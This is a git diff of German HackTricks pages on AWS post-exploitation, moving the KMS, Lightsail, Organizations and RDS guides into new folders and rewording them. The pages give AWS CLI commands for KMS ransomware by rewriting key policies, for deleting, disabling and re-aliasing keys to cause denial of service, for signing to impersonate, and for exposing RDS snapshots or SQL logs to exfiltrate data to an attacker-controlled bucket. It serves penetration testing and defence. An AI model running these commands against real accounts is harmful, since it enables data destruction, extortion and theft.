---query Plaintext | base64 \
---decode
-```
-### KMS Ransomware
-
-Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Policy von Schlüsseln ändern und **seinem Account Zugriff darauf gewähren**, wodurch der Zugriff für den legitimen Account entfernt wird.
-
-Dann können die Nutzer des legitimen Accounts auf keine Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, wodurch ein einfaches, aber effektives Ransomware-Szenario für den Account entsteht.
-
-> [!WARNING]
-> Beachte, dass **AWS managed keys aren't affected**; betroffen sind nur **Customer managed keys**.
->
-> Beachte außerdem die Notwendigkeit, den Parameter **`--bypass-policy-lockout-safety-check`** zu verwenden (das Fehlen dieser Option in der Web-Konsole macht diesen Angriff nur über die CLI möglich).
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
---policy-name default \
---policy file:///tmp/policy.yaml \
---bypass-policy-lockout-safety-check
-
-{
-"Id": "key-consolepolicy-3",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<your_own_account>:root"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-> [!CAUTION]
-> Beachten Sie, dass wenn Sie diese Richtlinie ändern und nur einem externen Konto Zugriff gewähren, und dann von diesem externen Konto aus versuchen, eine neue Richtlinie zu setzen, um den Zugriff an das ursprüngliche Konto zurückzugeben, Sie dazu nicht in der Lage sein werden, da die Put Polocy-Aktion nicht von einem Cross-Account ausgeführt werden kann.
-
-<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
-
-### Generic KMS Ransomware
-
-Es gibt eine andere Möglichkeit, ein globales KMS Ransomware umzusetzen, die die folgenden Schritte umfasst:
-
-- Erstellen Sie einen neuen **Schlüssel mit Schlüsselmaterial**, das vom Angreifer importiert wurde
-- **Ältere Daten erneut verschlüsseln**, die beim Opfer mit der vorherigen Version verschlüsselt wurden, mit der neuen
-- **Den KMS-Schlüssel löschen**
-- Nun könnte nur noch der Angreifer, der das ursprüngliche Schlüsselmaterial besitzt, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
-
-### Delete Keys via kms:DeleteImportedKeyMaterial
-
-Mit der Berechtigung `kms:DeleteImportedKeyMaterial` kann ein Akteur das importierte Schlüsselmaterial aus CMKs mit `Origin=EXTERNAL` löschen (CMKs, die ihr Schlüsselmaterial importiert haben) und sie dadurch unfähig machen, Daten zu entschlüsseln. Diese Aktion ist destruktiv und irreversibel, sofern nicht kompatibles Material erneut importiert wird, und ermöglicht es einem Angreifer, effektiv einen ransomware-ähnlichen Datenverlust zu verursachen, indem verschlüsselte Informationen dauerhaft unzugänglich gemacht werden.
-```bash
-aws kms delete-imported-key-material --key-id <Key_ID>
-```
-### Keys zerstören
-
-Durch das Zerstören von keys kann ein DoS verursacht werden.
-```bash
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
---pending-window-in-days 7
-```
-> [!CAUTION]
-> Beachte, dass AWS jetzt **verhindert, dass die vorherigen Aktionen von einem Cross-Account ausgeführt werden:**
-
-### Alias ändern oder löschen
-Dieser Angriff löscht oder leitet AWS KMS-Aliase um, bricht die Schlüsselauflösung und verursacht sofortige Ausfälle in allen Diensten, die auf diese Aliase angewiesen sind, was zu einem denial-of-service führt. Mit Berechtigungen wie `kms:DeleteAlias` oder `kms:UpdateAlias` kann ein Angreifer Aliase entfernen oder umleiten und kryptografische Operationen (z. B. encrypt, describe) stören. Jeder Dienst, der das Alias statt der Key ID referenziert, kann ausfallen, bis das Alias wiederhergestellt oder korrekt neu zugewiesen wurde.
-```bash
-# Delete Alias
-aws kms delete-alias --alias-name alias/<key_alias>
-
-# Update Alias
-aws kms update-alias \
---alias-name alias/<key_alias> \
---target-key-id <new_target_key>
-```
-### Löschung des Schlüssels abbrechen
-Mit Berechtigungen wie `kms:CancelKeyDeletion` und `kms:EnableKey` kann ein Akteur die geplante Löschung eines AWS KMS customer master key abbrechen und diesen später wieder aktivieren. Dadurch wird der Schlüssel wiederhergestellt (anfangs im Disabled-Zustand) und seine Fähigkeit zur Entschlüsselung zuvor geschützter Daten wiederhergestellt, was exfiltration ermöglicht.
-```bash
-# Firts cancel de deletion
-aws kms cancel-key-deletion \
---key-id <Key_ID>
-
-## Second enable the key
-aws kms enable-key \
---key-id <Key_ID>
-```
-### Disable Key
-Mit der Berechtigung `kms:DisableKey` kann ein Akteur einen AWS KMS customer master key deaktivieren und dessen Verwendung für Verschlüsselung oder Entschlüsselung verhindern. Das unterbricht den Zugriff für alle Dienste, die von diesem CMK abhängen, und kann sofortige Störungen verursachen oder zu einem denial-of-service führen, bis der Schlüssel wieder aktiviert wird.
-```bash
-aws kms disable-key \
---key-id <key_id>
-```
-### Derive Shared Secret
-Mit der Berechtigung `kms:DeriveSharedSecret` kann ein Akteur einen in KMS gehaltenen privaten Schlüssel zusammen mit einem vom Benutzer bereitgestellten öffentlichen Schlüssel verwenden, um ein gemeinsames Geheimnis per ECDH zu berechnen.
-```bash
-aws kms derive-shared-secret \
---key-id <key_id> \
---public-key fileb:///<route_to_public_key> \
---key-agreement-algorithm <algorithm>
-```
-### Impersonation via kms:Sign
-Mit der Berechtigung `kms:Sign` kann ein Akteur einen in KMS gespeicherten CMK verwenden, um Daten kryptografisch zu signieren, ohne den privaten Schlüssel offenzulegen. Dabei entstehen gültige Signaturen, die impersonation ermöglichen oder bösartige Aktionen autorisieren können.
-```bash
-aws kms sign \
---key-id <key-id> \
---message fileb://<ruta-al-archivo> \
---signing-algorithm <algoritmo> \
---message-type RAW
-```
-### DoS with Custom Key Stores
-Mit Berechtigungen wie `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` oder `kms:UpdateCustomKeyStore` kann ein Akteur einen AWS KMS Custom Key Store (CKS) ändern, trennen oder löschen und dadurch dessen Master-Schlüssel unbrauchbar machen. Das bricht Verschlüsselungs-, Entschlüsselungs- und Signiervorgänge für alle Dienste, die auf diesen Schlüsseln basieren, und kann eine sofortige denial-of-service verursachen. Daher ist es entscheidend, diese Berechtigungen einzuschränken und zu überwachen.
-```bash
-aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
-```
-<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md

@@ -0,0 +1,182 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Verschlüsseln/Entschlüsseln von Informationen
+
+`fileb://` und `file://` sind URI-Schemata, die in AWS CLI-Befehlen verwendet werden, um den Pfad zu lokalen Dateien anzugeben:
+
+- `fileb://:` liest die Datei im Binärmodus und wird üblicherweise für Nicht-Textdateien verwendet.
+- `file://:` liest die Datei im Textmodus und wird typischerweise für einfache Textdateien, Skripte oder JSON verwendet, die keine speziellen Kodierungsanforderungen haben.
+
+> [!TIP]
+> Beachte, dass wenn du Daten innerhalb einer Datei entschlüsseln möchtest, die Datei die Binärdaten enthalten muss, nicht base64-kodierte Daten. (fileb://)
+
+- Verwendung eines **symmetrischen** Schlüssels
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+- Verwendung eines **asymmetrischen** Schlüssels:
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+### KMS Ransomware
+
+Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS policy von Schlüsseln ändern und **seinem Account Zugriff darauf gewähren**, wodurch der Zugriff für den rechtmäßigen Account entfernt wird.
+
+Dann können die Benutzer des rechtmäßigen Accounts nicht mehr auf Informationen eines beliebigen Dienstes zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, wodurch ein einfaches, aber effektives ransomware gegen den Account entsteht.
+
+> [!WARNING]
+> Beachte, dass **AWS managed keys nicht betroffen sind** von diesem Angriff; betroffen sind nur **Customer managed keys**.
+
+> Beachte außerdem, dass der Parameter **`--bypass-policy-lockout-safety-check`** verwendet werden muss (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
+
+{
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<your_own_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+> [!CAUTION]
+> Beachte, dass wenn du diese Policy änderst und nur einem externen Account Zugriff gewährst, und dann von diesem externen Account versuchst, eine neue Policy zu setzen, um **den Zugriff wieder dem ursprünglichen Account zu gewähren, wirst du das nicht können, da die Put Polocy-Aktion nicht von einem Cross-Account ausgeführt werden kann**.
+
+<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
+
+### Generische KMS Ransomware
+
+Es gibt eine weitere Möglichkeit, eine globale KMS Ransomware durchzuführen, die die folgenden Schritte umfasst:
+
+- Erstelle einen neuen **Schlüssel mit Schlüsselmaterial**, das vom Angreifer importiert wurde
+- **Ältere Daten erneut mit der neuen Version verschlüsseln**, die zuvor mit der vorherigen Version verschlüsselt wurden
+- **KMS-Schlüssel löschen**
+- Nun könnte nur noch der Angreifer, der das ursprüngliche Schlüsselmaterial besitzt, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
+
+### Delete Keys via kms:DeleteImportedKeyMaterial
+
+Mit der Berechtigung `kms:DeleteImportedKeyMaterial` kann ein Akteur das importierte Schlüsselmaterial von CMKs mit `Origin=EXTERNAL` (CMKs, die ihr Schlüsselmaterial importiert haben) löschen, wodurch diese nicht mehr in der Lage sind, Daten zu entschlüsseln. Diese Aktion ist destruktiv und irreversibel, es sei denn, kompatibles Material wird erneut importiert, wodurch ein Angreifer effektiv einen ransomware-ähnlichen Datenverlust verursachen kann, indem verschlüsselte Informationen dauerhaft unzugänglich gemacht werden.
+```bash
+aws kms delete-imported-key-material --key-id <Key_ID>
+```
+### Schlüssel zerstören
+
+Das Zerstören von Schlüsseln kann zu einem DoS führen.
+```bash
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
+```
+> [!CAUTION]
+> Beachte, dass AWS jetzt **verhindert, dass die vorherigen Aktionen aus einem Cross-Account ausgeführt werden:**
+
+### Alias ändern oder löschen
+Dieser Angriff löscht oder leitet AWS KMS Aliase um, wodurch die Schlüsselauflösung unterbrochen wird und sofortige Fehler in allen Diensten auftreten, die auf diese Aliase angewiesen sind — was zu einem denial-of-service führt. Mit Berechtigungen wie `kms:DeleteAlias` oder `kms:UpdateAlias` kann ein Angreifer Aliase entfernen oder umleiten und kryptografische Operationen stören (z. B. encrypt, describe). Jeder Dienst, der das Alias anstatt der key ID referenziert, kann ausfallen, bis das Alias wiederhergestellt oder korrekt neu zugeordnet ist.
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/<key_alias>
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/<key_alias> \
+--target-key-id <new_target_key>
+```
+### Abbrechen der Schlüssel-Löschung
+Mit Berechtigungen wie `kms:CancelKeyDeletion` und `kms:EnableKey` kann ein Angreifer die geplante Löschung eines AWS KMS customer master key abbrechen und später wieder aktivieren. Dadurch wird der Schlüssel wiederhergestellt (zunächst im Disabled state) und seine Fähigkeit, zuvor geschützte Daten zu entschlüsseln, wiederhergestellt, wodurch Datenexfiltration möglich wird.
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id <Key_ID>
+
+## Second enable the key
+aws kms enable-key \
+--key-id <Key_ID>
+```
+### Schlüssel deaktivieren
+Mit der Berechtigung `kms:DisableKey` kann ein Akteur einen AWS KMS Customer Master Key (CMK) deaktivieren, wodurch dessen Verwendung für Verschlüsselung oder Entschlüsselung verhindert wird. Das unterbricht den Zugriff für alle Dienste, die von diesem CMK abhängen, und kann sofortige Störungen oder einen denial-of-service verursachen, bis der Schlüssel wieder aktiviert wird.
+```bash
+aws kms disable-key \
+--key-id <key_id>
+```
+### Derive Shared Secret
+Mit der `kms:DeriveSharedSecret`-Berechtigung kann ein Akteur einen in KMS gespeicherten private key sowie einen vom Benutzer bereitgestellten public key verwenden, um ein ECDH shared secret zu berechnen.
+```bash
+aws kms derive-shared-secret \
+--key-id <key_id> \
+--public-key fileb:///<route_to_public_key> \
+--key-agreement-algorithm <algorithm>
+```
+### Impersonation via kms:Sign
+Mit der Berechtigung `kms:Sign` kann ein Akteur einen KMS-stored CMK verwenden, um Daten kryptografisch zu signieren, ohne den private key preiszugeben, und gültige Signaturen zu erzeugen, die impersonation ermöglichen oder bösartige Aktionen autorisieren.
+```bash
+aws kms sign \
+--key-id <key-id> \
+--message fileb://<ruta-al-archivo> \
+--signing-algorithm <algoritmo> \
+--message-type RAW
+```
+### DoS mit Custom Key Stores
+Mit Berechtigungen wie `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` oder `kms:UpdateCustomKeyStore` kann ein Akteur einen AWS KMS Custom Key Store (CKS) ändern, trennen oder löschen, wodurch dessen Master-Keys nicht mehr funktionsfähig werden. Das bricht Verschlüsselungs-, Entschlüsselungs- und Signaturvorgänge für alle Dienste, die auf diesen Keys angewiesen sind, und kann zu einem sofortigen denial-of-service führen. Daher ist es entscheidend, diese Berechtigungen zu beschränken und zu überwachen.
+```bash
+aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
+```
+<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md

@@ -1,30 +0,0 @@
-# AWS - Lightsail Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Für weitere Informationen, siehe:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Alte DB-Snapshots wiederherstellen
-
-Wenn die DB Snapshots hat, könnten Sie **sensible Informationen finden, die derzeit in alten Snapshots gelöscht sind**. **Stellen** Sie den Snapshot in einer **neuen Datenbank** wieder her und überprüfen Sie ihn.
-
-### Instanz-Snapshots wiederherstellen
-
-Instanz-Snapshots könnten **sensible Informationen** von bereits gelöschten Instanzen oder sensible Informationen, die in der aktuellen Instanz gelöscht wurden, enthalten. **Erstellen Sie neue Instanzen aus den Snapshots** und überprüfen Sie diese.\
-Oder **exportieren Sie den Snapshot zu einem AMI in EC2** und folgen Sie den Schritten einer typischen EC2-Instanz.
-
-### Zugriff auf sensible Informationen
-
-Überprüfen Sie die Lightsail privesc-Optionen, um verschiedene Möglichkeiten zu lernen, wie Sie auf potenziell sensible Informationen zugreifen können:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md

@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Alte DB-Snapshots wiederherstellen
+
+Wenn die DB Snapshots hat, könntest du **sensible Informationen finden, die derzeit in alten Snapshots gelöscht sind**. **Stelle** den Snapshot in einer **neuen Datenbank** wieder her und überprüfe ihn.
+
+### Instanz-Snapshots wiederherstellen
+
+Instanz-Snapshots können **sensible Informationen** bereits gelöschter Instanzen oder sensible Daten enthalten, die in der aktuellen Instanz gelöscht wurden. **Erstelle neue Instanzen aus den Snapshots** und überprüfe sie.\
+Oder **exportiere den Snapshot als AMI in EC2** und folge den Schritten einer typischen EC2-Instanz.
+
+### Zugriff auf sensible Informationen
+
+Sieh dir die Lightsail privesc-Optionen an, um verschiedene Möglichkeiten zu erfahren, wie du auf potenziell sensible Informationen zugreifen kannst:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md

@@ -1,17 +0,0 @@
-# AWS - Organisationen Post-Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organisationen
-
-Für weitere Informationen zu AWS Organizations siehe:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-### Verlasse die Org
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md

@@ -0,0 +1,17 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Für mehr Informationen zu AWS Organizations siehe:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### Die Org verlassen
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Wenn ein Angreifer über ausreichende Berechtigungen verfügt, kann er eine **DB öffentlich zugänglich** machen, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus diesem Snapshot wiederherstellt.
+Wenn der attacker genügend Berechtigungen hat, kann er eine **DB öffentlich zugänglich machen**, indem er einen Snapshot der DB erstellt und daraus eine öffentlich zugängliche DB wiederherstellt.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **zugänglich** machen. Anschließend könnte er in seinem eigenen Konto einfach eine DB aus diesem Snapshot erstellen.
+Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **verfügbar** machen. Anschließend könnte er einfach in seinem eigenen Account eine DB aus diesem Snapshot erstellen.
 
-Wenn der Angreifer **nicht die `rds:CreateDBSnapshot`** hat, könnte er dennoch **andere** erstellte Snapshots **öffentlich** machen.
+Wenn der Angreifer **nicht über `rds:CreateDBSnapshot`** verfügt, könnte er dennoch **andere** erstellte Snapshots **öffentlich** machen.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Portionen der log files einer RDS-Instance herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich in den log files protokolliert werden, könnte der Angreifer diese Informationen nutzen, um seine Privilegien zu eskalieren oder unautorisierte Aktionen durchzuführen.
+Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Teile der Logdateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen potenziell nutzen, um seine Berechtigungen zu eskalieren oder unautorisierte Aktionen durchzuführen.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Mögliche Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials.
+**Potenzielle Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials.
 
 ### `rds:DeleteDBInstance`
 
-Ein Angreifer mit diesen Berechtigungen kann **DoS existing RDS instances**.
+Ein Angreifer mit diesen Berechtigungen kann **DoS bestehender RDS-Instanzen**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Potentielle Auswirkungen**: Löschung vorhandener RDS instances und möglicher Datenverlust.
+**Potentielle Auswirkung**: Löschen bestehender RDS-Instanzen und möglicher Datenverlust.
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
-> TODO: Test
+> TODO: Testen
 
-Ein attacker mit dieser Berechtigung kann **export an RDS instance snapshot to an S3 bucket**. Wenn der attacker Kontrolle über das Ziel S3 bucket hat, sind sensible Daten im exportierten snapshot potenziell zugänglich.
+Ein Angreifer mit dieser Berechtigung kann **einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er möglicherweise auf sensible Daten im exportierten Snapshot zugreifen.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
 **Potential impact**: Zugriff auf sensible Daten in dem exportierten Snapshot.
 
-### Cross-Region-Replikation automatisierter Backups für heimliche Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Replikation automatisierter Backups in eine andere Region für unauffälligen Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Missbrauche die Cross-Region-Replikation automatisierter Backups, um die automatisierten Backups einer RDS-Instanz stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann die wiederhergestellte DB dann öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Pfades auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
+Missbrauche die Replikation automatischer Backups über Regionen, um die automatischen Backups einer RDS-Instanz stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann dann die wiederhergestellte DB öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Betriebs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
 
-Permissions needed (minimum):
+Benötigte Berechtigungen (mindestens):
 - `rds:StartDBInstanceAutomatedBackupsReplication` in der Ziel-Region
 - `rds:DescribeDBInstanceAutomatedBackups` in der Ziel-Region
 - `rds:RestoreDBInstanceToPointInTime` in der Ziel-Region
 - `rds:ModifyDBInstance` in der Ziel-Region
 - `rds:StopDBInstanceAutomatedBackupsReplication` (optionale Bereinigung)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB öffentlich zugänglich zu machen)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB zu öffnen)
 
-Impact: Persistenz und Datenexfiltration, indem eine Kopie von Produktionsdaten in einer anderen Region wiederhergestellt und diese mit vom Angreifer kontrollierten Zugangsdaten öffentlich zugänglich gemacht wird.
+Auswirkung: Persistenz und data exfiltration durch Wiederherstellung einer Kopie von Produktionsdaten in eine andere Region und öffentliche Freigabe mit von Angreifern kontrollierten Zugangsdaten.
 
 <details>
 <summary>End-to-end CLI (Platzhalter ersetzen)</summary>
@@ -165,24 +165,24 @@ aws rds stop-db-instance-automated-backups-replication \
 
 ### Vollständiges SQL-Logging über DB-Parametergruppen aktivieren und über RDS-Log-APIs exfiltrieren
 
-Missbrauche `rds:ModifyDBParameterGroup` zusammen mit RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Anmeldedaten erforderlich). Aktiviere das Engine-SQL-Logging und lade die Logdateien via `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder die REST-API `downloadCompleteLogFile`) herunter. Nützlich, um Abfragen zu sammeln, die Geheimnisse/PII/JWTs enthalten können.
+Missbrauchen Sie `rds:ModifyDBParameterGroup` zusammen mit den RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Credentials erforderlich). Aktivieren Sie das SQL-Logging der Engine und laden Sie die Logdateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder die REST-Funktion `downloadCompleteLogFile`) herunter. Nützlich, um Queries zu sammeln, die Secrets/PII/JWTs enthalten könnten.
 
-Benötigte Berechtigungen (mindestens):
+Erforderliche Berechtigungen (mindestens):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (nur zum Anhängen einer benutzerdefinierten Parametergruppe, falls die Instanz die Standardgruppe verwendet)
-- `rds:RebootDBInstance` (für Parameter, die einen Reboot erfordern, z. B. PostgreSQL)
+- `rds:ModifyDBInstance` (nur, um eine benutzerdefinierte Parametergruppe anzuhängen, falls die Instanz die Standardgruppe verwendet)
+- `rds:RebootDBInstance` (für Parameter, die einen Reboot benötigen, z.B. PostgreSQL)
 
 Schritte
-1) Recon: Ziel und aktuelle Parametergruppe
+1) Recon des Ziels und der aktuellen Parametergruppe
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Stelle sicher, dass eine benutzerdefinierte DB-Parametergruppe angehängt ist (die Standardgruppe kann nicht bearbeitet werden)
-- Wenn die Instanz bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt.
-- Andernfalls erstelle und hänge eine an, die zur Engine-Familie passt:
+2) Stelle sicher, dass eine benutzerdefinierte DB parameter group angehängt ist (das Default kann nicht bearbeitet werden)
+- Wenn die Instance bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt.
+- Andernfalls erstelle und hänge eine an, die zur engine family passt:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,7 +196,7 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) Detailliertes SQL-Logging aktivieren
+3) Ausführliches SQL-Logging aktivieren
 - MySQL-Engines (sofort / kein Neustart):
 ```bash
 aws rds modify-db-parameter-group \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Die Workload laufen lassen (oder Abfragen generieren). SQL-Anweisungen werden in die Engine-Dateiprotokolle geschrieben
+4) Lass den Workload laufen (oder generiere Queries). Statements werden in die Engine-Datei-Logs geschrieben
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) Logs entdecken und herunterladen (keine DB-Zugangsdaten erforderlich)
+5) Entdecke und lade die Logs herunter (keine DB creds erforderlich)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -235,18 +235,18 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) Offline nach sensiblen Daten analysieren
+6) Offline auf sensible Daten analysieren
 ```bash
